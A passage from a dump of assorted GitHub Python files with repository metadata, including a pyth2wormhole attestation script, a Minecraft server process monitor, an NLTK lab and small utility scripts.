style.read()+'''\\n .right-panel{width:65%;margin: 1em}'''\n \n \n def getHTML(self,params):\n\n if params['text14'] == 'Yes' or params['text1'] == \"yes\":\n #list @todo fix this!!! Hacked!\n corrsFile = '../supportFiles/exampleRun/userFiles/corrs.txt'\n similFile = '../supportFiles/exampleRun/userOutput/similFile.txt'\n modelFolder = '../supportFiles/exampleRun/userOutput/models/'\n comFolder = '../supportFiles/exampleRun/userOutput/communityModels/'\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n else:\n list = params['text15'] #todo, create this on the fly from the list of speciesIDs\n corrsFile = params['text28']\n similFile = params['text29']\n modelFolder = params['text16']\n comFolder = params['text17']\n\n ############## In case there is no list to start with! #############\n\n if list == 'NA' and similFile == 'NA' and corrsFile == 'NA':\n createAllPairs(modelFolder)\n list = '../tempFiles/pairsList.txt'\n elif list == 'NA' and similFile != 'NA' and corrsFile != 'NA':\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n ############## Ok, now there is a list #############################\n\n\n\n\n\n\n if not os.path.exists(comFolder):\n os.makedirs(comFolder)\n\n try:\n allPairComModels(list,modelFolder,comFolder)\n cherrypy.log(\"We're finished creating your community models\")\n except:\n cherrypy.log(\"We were unable to run allPairComModels.\")\n return \"Sorry something's wrong. Make sure the path to your file is correct and that the python module cobrapy is loaded into your system.\"\n exit()\n \n \n numModels = sum(os.path.isfile(os.path.join(comFolder, f)) for f in os.listdir(comFolder)) - 1\n \n \n \n return \"We created %d community models. In the next widget, we will use them to predict the growth rate of their species in isolation and when in the community using COBRA tools. You can find all the models in the %s.\" %(numModels,comFolder)\n\n\nif __name__ == '__main__':\n app = Widget4()\n app.launch()\n","repo_name":"mendessoares/MMinte","sub_path":"MMinte/site/MMinteW4.py","file_name":"MMinteW4.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"28"} +{"seq_id":"25106144450","text":"import nltk\nfrom nltk.stem import PorterStemmer, WordNetLemmatizer\nfrom nltk.corpus import wordnet\n\ntext = \"Backgammon is one of the oldest known board games. Its history can be traced back nearly 5,000 years to archeological discoveries in the Middle East. It is a two player game where each player has fifteen checkers which move between twenty-four points according to the roll of two dice.\"\n\nsentences = nltk.sent_tokenize(text)\nfor sentence in sentences:\n print(sentence)\n print()\n words = nltk.word_tokenize(sentence)\n print(words)\n print()\n\ndef compare_stemmer_and_lemmatizer(stemmer, lemmatizer, word, pos):\n print(\"Stemmer:\", stemmer.stem(word))\n print(\"Lemmatizer:\", lemmatizer.lemmatize(word, pos))\n print()\n\nlemmatizer = WordNetLemmatizer()\nstemmer = PorterStemmer()\n\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"seen\", pos = wordnet.VERB)\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"drove\", pos = wordnet.VERB)","repo_name":"almaszaurbekov/draft","sub_path":"nlp/01_lab/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32410239750","text":"from dataclasses import dataclass\n\nfrom domain.exceptions import ValidationException\nfrom domain.entities.value_object import ValueObject\n\n\n@dataclass(frozen=True)\nclass AuthorName(ValueObject):\n MAX_LENGTH = 250\n MIN_LENGTH = 2\n\n value: str\n\n def validate(self) -> None:\n self.__validate_max_length()\n self.__validate_min_length()\n\n def __validate_max_length(self) -> None:\n value_length = len(self.value)\n if value_length > self.MAX_LENGTH:\n raise ValidationException(\n f'Author name too long: {self.value} (max length is {self.MAX_LENGTH}, has {value_length})'\n )\n\n def __validate_min_length(self) -> None:\n value_length = len(self.value)\n if value_length < self.MIN_LENGTH:\n raise ValidationException(\n f'Author name too short: {self.value} (min length is {self.MIN_LENGTH}, has {value_length})'\n )\n","repo_name":"fr-mm/library-api","sub_path":"domain/entities/author/value_objects/author_name.py","file_name":"author_name.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"43203055061","text":"#!/usr/bin/env python3\n\n# This script sets up a simple loop for periodical attestation of Pyth data\nfrom pyth_utils import *\n\nfrom http.client import HTTPConnection\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nimport json\nimport os\nimport re\nimport subprocess\nimport time\nimport threading\n\n\nP2W_ADDRESS = \"P2WH424242424242424242424242424242424242424\"\nP2W_ATTEST_INTERVAL = float(os.environ.get(\"P2W_ATTEST_INTERVAL\", 5))\nP2W_OWNER_KEYPAIR = os.environ.get(\n \"P2W_OWNER_KEYPAIR\", f\"/usr/src/solana/keys/p2w_owner.json\")\nP2W_ATTESTATIONS_PORT = int(os.environ.get(\"P2W_ATTESTATIONS_PORT\", 4343))\n\nPYTH_ACCOUNTS_HOST = \"pyth\"\nPYTH_ACCOUNTS_PORT = 4242\n\nWORMHOLE_ADDRESS = \"Bridge1p5gheXUvJ6jGWGeCsgPKgnE3YgdGKRVCMY9o\"\n\nATTESTATIONS = {\n \"pendingSeqnos\": [],\n}\n\nclass P2WAutoattestStatusEndpoint(BaseHTTPRequestHandler):\n \"\"\"\n A dumb endpoint for last attested price metadata.\n \"\"\"\n\n def do_GET(self):\n print(f\"Got path {self.path}\")\n sys.stdout.flush()\n data = json.dumps(ATTESTATIONS).encode(\"utf-8\")\n print(f\"Sending:\\n{data}\")\n\n ATTESTATIONS[\"pendingSeqnos\"] = []\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(data)))\n self.end_headers()\n self.wfile.write(data)\n self.wfile.flush()\n\ndef serve_attestations():\n \"\"\"\n Run a barebones HTTP server to share Pyth2wormhole attestation history\n \"\"\"\n server_address = ('', P2W_ATTESTATIONS_PORT)\n httpd = HTTPServer(server_address, P2WAutoattestStatusEndpoint)\n httpd.serve_forever()\n\n\n# Get actor pubkeys\nP2W_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", P2W_OWNER_KEYPAIR], capture_output=True).stdout.strip()\nPYTH_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", PYTH_PROGRAM_KEYPAIR], capture_output=True).stdout.strip()\n\n\n# Top up pyth2wormhole owner\nsol_run_or_die(\"airdrop\", [\n str(SOL_AIRDROP_AMT),\n \"--keypair\", P2W_OWNER_KEYPAIR,\n \"--commitment\", \"finalized\",\n], capture_output=True)\n\n# Initialize pyth2wormhole\ninit_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"init\",\n \"--wh-prog\", WORMHOLE_ADDRESS,\n \"--owner\", P2W_OWNER_ADDRESS,\n \"--pyth-owner\", PYTH_OWNER_ADDRESS,\n], capture_output=True, die=False)\n\nif init_result.returncode != 0:\n print(\"NOTE: pyth2wormhole-client init failed, retrying with set_config\")\n run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"set-config\",\n \"--owner\", P2W_OWNER_KEYPAIR,\n \"--new-owner\", P2W_OWNER_ADDRESS,\n \"--new-wh-prog\", WORMHOLE_ADDRESS,\n \"--new-pyth-owner\", PYTH_OWNER_ADDRESS,\n ], capture_output=True)\n\n# Retrieve current price/product pubkeys from the pyth publisher\nconn = HTTPConnection(PYTH_ACCOUNTS_HOST, PYTH_ACCOUNTS_PORT)\n\nconn.request(\"GET\", \"/\")\n\nres = conn.getresponse()\n\npyth_accounts = None\n\nif res.getheader(\"Content-Type\") == \"application/json\":\n pyth_accounts = json.load(res)\nelse:\n print(f\"Bad Content type {res.getheader('Content-Type')}\", file=sys.stderr)\n sys.exit(1)\n\nprice_addr = pyth_accounts[\"price\"]\nproduct_addr = pyth_accounts[\"product\"]\n\nnonce = 0\nattest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n], capture_output=True)\n\nprint(\"p2w_autoattest ready to roll.\")\nprint(f\"ACCOUNTS: {pyth_accounts}\")\nprint(f\"Attest Interval: {P2W_ATTEST_INTERVAL}\")\n\n# Serve p2w endpoint\nendpoint_thread = threading.Thread(target=serve_attestations, daemon=True)\nendpoint_thread.start()\n\n# Let k8s know the service is up\nreadiness_thread = threading.Thread(target=readiness, daemon=True)\nreadiness_thread.start()\n\nseqno_regex = re.compile(r\"^Sequence number: (\\d+)\")\n\nnonce = 1\nwhile True:\n attest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n ], capture_output=True)\n time.sleep(P2W_ATTEST_INTERVAL)\n\n matches = seqno_regex.match(attest_result.stdout)\n\n if matches is not None:\n seqno = int(matches.group(1))\n print(f\"Got seqno {seqno}\")\n\n ATTESTATIONS[\"pendingSeqnos\"].append(seqno)\n\n else:\n print(f\"Warning: Could not get sequence number\")\n\n nonce += 1\n\nreadiness_thread.join()\n","repo_name":"parasol-aser/vrust-open-source","sub_path":"examples/wormhole/third_party/pyth/p2w_autoattest.py","file_name":"p2w_autoattest.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"28"} +{"seq_id":"6757215986","text":"import os\nimport shutil\nimport glob\nimport subprocess\nimport time\nimport pandas as pd\nimport re\nimport numpy as np\nimport subprocess\n\ntol_ls = []\nroot_dir = \"/users/ekb16170/tolerance_calculator/1d/water/\"\nmdl_path = \"/users/ekb16170/tolerance_calculator/1d/water/model.mdl\"\nsh_path = \"/users/ekb16170/tolerance_calculator/1d/water/main_script.sh\"\n\nfor i in range(-12, 1, 1):\n\ttol_ls.append('1.e'+ str(i))\n\nfor tol in tol_ls:\n\tos.mkdir(os.path.join(root_dir, tol))\n\n\ttarget_mdl_path = root_dir + tol + \"/model.mdl\"\n\ttarget_sh_path = root_dir + tol + \"/main_script.sh\"\n\n\tshutil.copyfile(mdl_path, target_mdl_path)\n\tshutil.copyfile(sh_path, target_sh_path)\n\n\twith open(target_sh_path, 'r') as file:\n\t\tfiledata = file.read()\n\n\tfiledata = filedata.replace('FISH', tol)\n\t\n\twith open(target_sh_path, 'w') as file:\n\t\tfile.write(filedata)\n\n\tbash_command = \"bash main_script.sh\"\n\tcwd = os.getcwd()\n\tos.chdir(str(tol))\n\tsubprocess.run(['bash','main_script.sh'])\n\tos.chdir(cwd)\n","repo_name":"IainQuinn/MSci_Project","sub_path":"Tolerance Investigation/Water/tolerance_calculator.py","file_name":"tolerance_calculator.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"39512049571","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.13.5\n# kernelspec:\n# display_name: Python 3 (ipykernel)\n# language: python\n# name: python3\n# ---\n\nimport sys\ninput = sys.stdin.readline\nn = list(input())\nn.sort(reverse = True)\nfor i in n:\n print(i,end=\"\")\n\n\n\n","repo_name":"seungyeonseong/Python_PS","sub_path":"Baekjoon1427.py","file_name":"Baekjoon1427.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9557540951","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Library modules\nimport logging\nimport sched\nimport socket\nimport subprocess\nimport threading\nimport time\n\n# Third party modules\nimport psutil\n\n\nclass Server:\n \"\"\"\n An object used to monitor and interact with a Minecraft server.\n\n Constructor:\n __init__(config)\n\n Public methods:\n getConfig(key)\n getTargetState() \n getUptime()\n isOnline()\n isResponsive()\n restart() \n run() [static]\n sendCommand(command)\n start() \n stop()\n\n Methods prefixed with _ are private methods, and should not be called externally.\n \"\"\"\n\n # Unbound variable containing an instance of the sched.scheduler\n # class, used to schedule restart and server check events across all servers.\n scheduler = sched.scheduler(\n time.time,\n time.sleep\n )\n\n\n @staticmethod\n def run():\n \"\"\"\n Static method which hands execution over to the scheduler.\n scheduler will run server restart and server check events as scheduled, and will\n run time.sleep in between events.\n \"\"\"\n\n logging.info('Running scheduler.')\n\n Server.scheduler.run()\n\n\n @staticmethod\n def _executeInShell(command):\n \"\"\"\n This will execute 'command' in the system shell, and will pipe stdout and stderr\n to the logging module.\n \"\"\"\n\n logging.info(\n 'Executing the following command in system shell:\\n{COMMAND}'.format(\n COMMAND=command\n )\n )\n\n p = subprocess.Popen(\n args=[command],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True\n )\n\n # Will block until process terminates.\n stdout, stderr = p.communicate()\n\n if stdout:\n logging.info(\n 'STDOUT:\\n{STDOUT}'.format(\n STDOUT=stdout\n )\n )\n\n if stderr:\n logging.warning(\n 'STDERR:\\n{STDERR}'.format(\n STDERR=stderr\n )\n )\n\n\n def __init__(self, config):\n \"\"\"\n Constructor to initialise the Server class.\n \"\"\"\n\n # self.lock is used to protect member variables, and also server methods\n # which read or write to these members. Such methods could be called by stdin or\n # network handler threads.\n # It is a reentrant lock, and can be acquired multiple times by the same thread.\n self._lock = threading.RLock()\n \n # Acquires lock and automatically releases it under any circumstance where execution moves\n # on from this block of code.\n with self._lock:\n logging.info(\n 'Initialising {SERVER_NICK} server.'.format(\n SERVER_NICK=config['SERVER_NICK']\n )\n )\n\n # A dictionary containing all configuration options for this server.\n self._config = config\n\n # The desired state of the server, True | False\n self._online = self._config['START_SERVER']\n\n # If server is currently online, and START_SERVER set to False, set self._online\n # to True not False. Prevents unnecessary server shutdown.\n if not self._config['START_SERVER'] and self.isOnline():\n self._online = True\n\n # This list holds all future restart events. Used for event cancellations.\n self._restartEvents = []\n\n # This holds the future server check event, to be cancelled should an immediate check\n # be requested\n self._checkEvent = None\n\n # Schedule initial restart and server check events.\n self._scheduleCheck(immediate=True)\n self._scheduleRestarts()\n\n\n def getConfig(self, key):\n \"\"\"\n Allow external modules to retrieve server configuration values.\n \"\"\"\n\n return self._config.get(key)\n\n\n def getTargetState(self):\n \"\"\"\n Allow external modules to see if the server is meant to be online\n or offline.\n \"\"\"\n\n return self._online\n\n\n def sendCommand(self, command):\n \"\"\"\n Execute a server command by calling the stuff command on the screen session\n which contains the Minecraft server console.\n \"\"\"\n\n with self._lock:\n logging.info(\n 'Sending the following command to {SERVER_NICK} server:\\n{COMMAND}'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n COMMAND=command\n )\n )\n\n # Stuffing commands into a screen session too quickly is a bad idea.\n time.sleep(1)\n\n # Send stuff command to screen session. Screen session is named with server nick.\n # \\r simulates the return key and causes the command to be executed.\n Server._executeInShell(\n 'screen -p 0 -S '\n + self._config['SERVER_NICK']\n + ' -X stuff \"\\r'\n + command\n + '\\r\"',\n )\n\n\n def _getPIDs(self):\n \"\"\"\n Returns a list of integers containing the PIDs of each Java Runtime Environment currently\n executing the server jar-file\n \"\"\"\n\n PIDs = []\n\n # Iterate over all currently running processes.\n for process in psutil.process_iter():\n try:\n # proc.cmdline() returns all command line arguments used to start the\n # process, as a list.\n commandLineArgs = process.cmdline()\n\n # Determine if this is a Java process\n if len(commandLineArgs) >= 1 and commandLineArgs[0].lower().find(\"java\") != -1:\n\n # Determine if the command line args contain the name of the server\n # jar file.\n for arg in commandLineArgs:\n if arg.find(self._config['SERVER_JAR']) != -1:\n\n # This is indeed an instance of the Minecraft server that we are\n # currently monitoring.\n PIDs.append(process.pid)\n break\n\n except psutil.Error:\n pass\n\n\n return PIDs\n\n\n def isOnline(self):\n \"\"\"\n Returns True if any server processes are currently running.\n \"\"\"\n\n return len(self._getPIDs()) > 0\n\n\n def getUptime(self):\n \"\"\"\n Returns the number of seconds for which this server has been running\n \"\"\"\n\n PIDs = self._getPIDs()\n\n if len(PIDs) == 0:\n return None\n\n else:\n try:\n process = psutil.Process(PIDs[0])\n\n except psutil.NoSuchProcess:\n return None\n\n else:\n return time.time() - process.create_time()\n\n\n def _scheduleCheck(self, immediate=False):\n \"\"\"\n Enter an event in the server scheduler that will call this server's\n self._check() method.\n \"\"\"\n\n # Cancel the existing check event if one exists. Allows _schelduleCheck to be\n # called immediately, even if there is a delayed check for this server present\n # in the scheduler.\n if self._checkEvent is not None:\n try:\n Server.scheduler.cancel(self._checkEvent)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._checkEvent = None\n\n\n with self._lock:\n logging.debug(\n 'Scheduling a server check for {SERVER_NICK}. Immediate: {IMMEDIATE}.'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n IMMEDIATE=immediate\n )\n )\n\n if immediate:\n # Schedule an immediate server check\n self._checkEvent=Server.scheduler.enter(\n 0,\n 1,\n self._check,\n ()\n )\n\n else:\n # Schedule a server check in 60 seconds\n self._checkEvent=Server.scheduler.enter(\n 60,\n 1,\n self._check,\n ()\n )\n\n\n def _scheduleRestarts(self):\n \"\"\"\n If the server has automated restarts enabled in config,\n then enter the future restart events in the server scheduler. These\n events include warnings that are announced to the players in the\n leadup to the restart, and the restart itself.\n \"\"\"\n\n with self._lock:\n # Only schedule restarts if all conditions met:\n # Restarts are enabled in config for this server,\n # Restarts have not already been scheduled for this server,\n # This server is in the online state.\n\n # NOTE: self._restartEvents will reset next time server stops / restarts\n if self._config['ENABLE_AUTOMATED_RESTARTS'] \\\n and len(self._restartEvents) == 0 \\\n and self._online:\n\n logging.debug(\n 'Scheduling restart and restart warnings for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n upTime = self.getUptime()\n\n if upTime is not None:\n # If restart or restart warnings are already overdue during\n # scheduling, don't restart immediately, warn the users then\n # restart after 10 minutes.\n if upTime >= self._config['RESTART_TIME'] - 10*60:\n self._restartEvents.append(\n Server.scheduler.enter(\n 0*60, # Execute task in 0 seconds\n 1, # Task has priority of 1\n self._restartWarning, # Call self.restartWarning(10)\n (10,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 9*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n 10*60,\n 1,\n self.restart,\n ()\n )\n )\n\n else:\n # Schedule the restart events as planned in the configuration.\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 10*60,\n 1,\n self._restartWarning,\n (10,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 1*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime,\n 1,\n self.restart,\n ()\n )\n )\n\n\n def _cancelRestartEvents(self):\n \"\"\"\n Cancel any future restart events from the server scheduler\n \"\"\"\n\n with self._lock:\n logging.debug(\n 'Cancelling restart events for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for event in self._restartEvents:\n try:\n Server.scheduler.cancel(event)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._restartEvents = []\n\n\n def _restartWarning(self, minutes):\n if minutes == 1:\n self.sendCommand('say An automated restart will occur in 1 minute.')\n self.sendCommand('save-all')\n\n else:\n self.sendCommand('say An automated restart will occur in ' + str(minutes) + ' minutes.')\n\n\n def _killServer(self):\n \"\"\"\n Sends a SIGKILL signal to any process that was started with a command\n containing the server jar name.\n\n External calls should use stop() instead.\n \"\"\"\n\n with self._lock:\n logging.warning(\n 'Sending SIGKILL signal to {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for PID in self._getPIDs():\n try:\n proc = psutil.Process(PID)\n proc.kill()\n\n except psutil.NoSuchProcess:\n logging.warning(\n 'Tried to kill process {PID}, when there was no such process running.'.format(\n PID=PID)\n )\n\n except psutil.AccessDenied:\n logging.warning(\n 'Tried to kill process {PID}, but this user does not have the necessary'.format(\n PID=PID\n )\n + ' permissions.'\n )\n\n else:\n logging.info(\n 'Killed process {PID} successfully.'.format(\n PID=PID\n )\n )\n\n\n def _quitScreenSession(self):\n \"\"\"\n Forces the screen session to quit, necessary tidyup in case user has opened new window\n inside the session causing screen not to close with the server process. This would\n otherwise interfere with the sendCommand method.\n \"\"\"\n\n with self._lock: \n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X quit',\n )\n\n\n def stop(self):\n \"\"\"\n Attempt to stop server gracefully, else stop forcefully.\n \"\"\"\n\n # TODO: throw exceptions on error\n\n with self._lock:\n if self._online:\n\n logging.debug(\n 'Stopping {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Prevent any restart events from being executed on the stopped server\n self._cancelRestartEvents()\n\n self.sendCommand('stop')\n\n # Update state variable to indicate that the server should now be offline\n self._online = False\n\n # Wait 60 seconds for process to terminate\n for index in range(12):\n time.sleep(5)\n\n if not self.isOnline():\n\n logging.debug(\n '{SERVER_NICK} server was closed gracefully.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return\n\n # If process did not terminate, then stop forcefully.\n self._killServer()\n\n \n def start(self):\n \"\"\"\n Create a new screen session for the server and execute the server start script\n \"\"\"\n\n # TODO: throw exception on error\n\n with self._lock:\n # Only proceed if server is currently offline\n if not self.isOnline():\n\n logging.info(\n 'Starting {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Just in case there is an existing screen session from a previous server\n # instance.\n self._quitScreenSession()\n\n Server._executeInShell(\n 'screen -d -m -S '\n + self._config['SERVER_NICK']\n + ' '\n + self._config['SERVER_PATH']\n + '/'\n + self._config['START_SCRIPT'],\n )\n\n if self._config['MULTIUSER_ENABLED']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X multiuser on',\n )\n\n for user in self._config['AUTHORISED_ACCOUNTS']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X acladd '\n + user,\n )\n\n # Update state variable to indicate that the server should now be online\n self._online = True\n\n # Give OS a chance to launch the process, as scheduleRestarts requires\n # the process to be running in order to calculate the restart times.\n time.sleep(5)\n self._scheduleRestarts()\n\n\n else:\n logging.warning(\n 'Attempted to start {SERVER_NICK} server which was in online state.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n\n def restart(self):\n if self._online:\n with self._lock:\n self.sendCommand('say Server is restarting, see you soon!')\n self.stop()\n self.start()\n\n\n def isResponsive(self):\n \"\"\"\n Test the server responsiveness by opening a network socket and asking the server\n for its player count and message of the day.\n \"\"\"\n\n with self._lock:\n try:\n # Set up our socket\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(10)\n s.connect((self._config['HOSTNAME'], self._config['PORT']))\n\n # Send 0xFE: Server list ping\n s.send('\\xfe\\x01')\n\n # Read some data\n d = s.recv(1024)\n s.close()\n\n # Check we've got a 0xFF Disconnect\n assert d[0] == '\\xff'\n\n # Remove the packet ident (0xFF) and the short containing the length of the string\n # Decode UCS-2 string\n d = d[3:].decode('utf-16be')\n\n #Check the first 3 characters of the string are what we expect\n assert d[:3] == u'\\xa7\\x31\\x00'\n\n \"\"\"\n Commented in case the returned information becomes useful:\n\n # Split\n d = d[3:].split('\\x00')\n \n # Return a dict of values\n return {'protocol_version': int(d[0]),\n 'server_version': d[1],\n 'motd': d[2],\n 'players': int(d[3]),\n 'max_players': int(d[4])}\n \"\"\"\n\n except (socket.error, socket.timeout, AssertionError, IndexError):\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning False.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return False\n\n else:\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning True.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return True\n\n\n def _check(self):\n \"\"\"\n Compare the desired state with the actual state of the server,\n and take action as necessary.\n \"\"\"\n\n self._checkEvent = None\n\n with self._lock:\n logging.debug(\n 'Beginning server check of {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # List of process IDs of Java Runtime Environment processes currently\n # executing the Minecraft server.\n # len(serverPIDs) gives the number of processes currently running.\n PIDs = self._getPIDs()\n\n while len(PIDs) > 1:\n # Multiple instances of this server are running simultaneously. Kill the ones\n # most recently started, leaving one remaining.\n\n logging.warning(\n 'Multiple instances of {SERVER_NICK} server are running simultaneously.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Number of processes found: {NUM_PROCESSES}'.format(\n NUM_PROCESSES=len(PIDs)\n )\n )\n\n\n newestProcess = psutil.Process(PIDs[0])\n\n for PID in PIDs: \n process = psutil.Process(PID)\n\n if process.create_time() > newestProcess.create_time():\n newestProcess = process\n\n\n logging.warning(\n 'Terminating process number {PID}, an instance of {SERVER_NICK} server.'.format(\n PID=newestProcess.pid,\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Process was originally started with the following command:\\n{START_COMMAND}'.format(\n START_COMMAND=newestProcess.cmdline()\n )\n )\n\n newestProcess.terminate()\n\n for index in range(60):\n time.sleep(1)\n\n if not newestProcess.is_running():\n break\n\n\n if newestProcess.is_running():\n newestProcess.kill()\n\n time.sleep(5)\n PIDs = self._getPIDs()\n\n\n if self._online:\n # Minecraft server should currently be online and responsive\n\n if len(PIDs) == 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, but no process was found.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Server will now be started.'\n )\n\n # Remove restart events from any previous processes\n self._cancelRestartEvents()\n self._online = False\n self.start()\n\n elif len(PIDs) == 1:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, and is currently running.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n if self._config['ENABLE_RESPONSIVENESS_CHECK']:\n upTime = self.getUptime()\n\n # Perform a responsiveness test if the server has been online for long\n # enough.\n if upTime > self._config['STARTUP_TIME']:\n\n if not self.isResponsive():\n # Server has failed responsiveness test, repeat test up to 10 more times\n # and if test fails at least 3 times, restart the server\n\n prevResults = []\n\n for index in range(10):\n time.sleep(5)\n prevResults.append(self.isResponsive())\n\n if prevResults.count(False) >= 3:\n logging.warning(\n '{SERVER_NICK} server has failed three network'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' responsiveness tests, and will now be restarted.'\n )\n\n self.restart()\n break\n\n else:\n # Minecraft server should be offline\n if len(PIDs) > 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, but instances of this'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running. Server will now be stopped.'\n )\n\n self.stop()\n\n else:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, and no instances of the'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running.'\n )\n\n\n # Tell the scheduler to call the self.check method again in 60 seconds\n self._scheduleCheck()\n","repo_name":"stevestech/pycraft","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":27158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"41946507555","text":"import processing\nimport visualizations\nimport analysis\n\nfrom pyfiglet import Figlet\nfrom PyInquirer import style_from_dict, Token, prompt, Separator\nfrom prettytable import PrettyTable\n\nif __name__ == \"__main__\":\n\n # Intro Banner\n f = Figlet(font='slant')\n print(f.renderText('DIPOLE'))\n\n # Style of the questions\n style = style_from_dict({\n Token.Separator: '#cc5454',\n Token.QuestionMark: '#673ab7 bold',\n Token.Selected: '#cc5454', # default\n Token.Pointer: '#673ab7 bold',\n Token.Instruction: '', # default\n Token.Answer: '#f44336 bold',\n Token.Question: '',\n })\n\n\n goal_of_program = [\n {\n 'type': 'list',\n 'message': 'Would you like to visualize or run quantative tests?',\n 'name': 'goal',\n 'choices': [\n {\n 'name': 'Only visualize'\n },\n {\n 'name': 'Only run quantative tests'\n },\n ],\n }\n ]\n\n data_type = [\n {\n 'type': 'list',\n 'message': 'What data set would you like as input?',\n 'name': 'data',\n 'choices': [\n {\n 'name': 'All data sets from original paper'\n },\n {\n 'name': 'All new data sets'\n },\n {\n 'name': 'Mammoth data set (from original paper)'\n },\n {\n 'name': 'Brain Artery Tree data set (from original paper)'\n },\n {\n 'name': 'Stanford Faces data set (from original paper)'\n },\n {\n 'name': 'Swiss Roll with Holes data set (from original paper)'\n },\n {\n 'name': 'Collection of circles ambient in 3D'\n },\n {\n 'name': 'First hand data 